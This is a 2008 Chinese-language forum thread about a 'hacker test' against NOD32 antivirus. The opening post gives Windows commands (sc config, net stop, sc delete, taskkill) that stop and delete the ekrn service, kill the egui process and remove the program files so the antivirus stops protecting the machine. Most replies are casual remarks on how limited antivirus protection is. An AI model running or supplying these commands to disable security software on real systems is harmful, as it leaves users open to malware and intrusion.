关于NOD 32有关黑客的测试(不是想掀起战斗的)

显示全部楼层 · 发表于 2008-9-16 09:00:01

直接运行（3.0版）
sc config ekrn start= disabled
然后运行:net stop ekrn
你看他进程还存在不...........
NOD32应该属于第一类，任务管理器可以结束的，只不过用服务重启罢了，直接使用sc delete ekrn
然后运行:taskkill /im ekrn.exe /f
OK，NOD32失去保护..
要是不甘心还可以再加上一句：taskkill /im egui.exe /f
然后删除NOD32目录下的所有文件（会有2、3个右键菜单文件删除不掉，删除不掉的部分也是没用的了，杀不了毒）

NOD32就这样挂了...

在黑吧发现的

显示全部楼层 · 发表于 2008-9-16 10:02:27

我是这样看的：如果一款杀软能够杀这个病毒，即使病毒能删除硬盘所有文件也没事；如果杀软杀不了病毒，被病毒删了，又有什么用呢？

显示全部楼层 · 发表于 2008-9-16 10:19:35

无所谓，没几个病毒这么厉害

显示全部楼层 · 发表于 2008-9-16 10:48:07

黑客真想黑你会被杀软拦住么？。。。

说实话我用EAV就图它快，他要不快了我就裸奔

[ 本帖最后由 roc0923 于 2008-9-16 10:49 编辑 ]

显示全部楼层 · 发表于 2008-9-16 11:13:11

想达到绝对防御可以拔掉网线，除此之外还想不到其他更好的办法

显示全部楼层 · 发表于 2008-9-16 12:11:23

连影子都靠不住还想啥呢

显示全部楼层 · 发表于 2008-9-16 12:54:38

杀软是人制造出来的...黑客只是人上人罢了.......

显示全部楼层 · 发表于 2008-9-16 13:02:31

nod的绿色版里见过上面的命令。不过一般不太会有单针对nod的病毒吧。

显示全部楼层 · 发表于 2008-9-16 13:27:02

可以拔掉网线

显示全部楼层 · 发表于 2008-9-16 14:27:48

你运行了，如果禁止运行还能结束得了吗？

[讨论] 关于NOD 32有关黑客的测试(不是想掀起战斗的)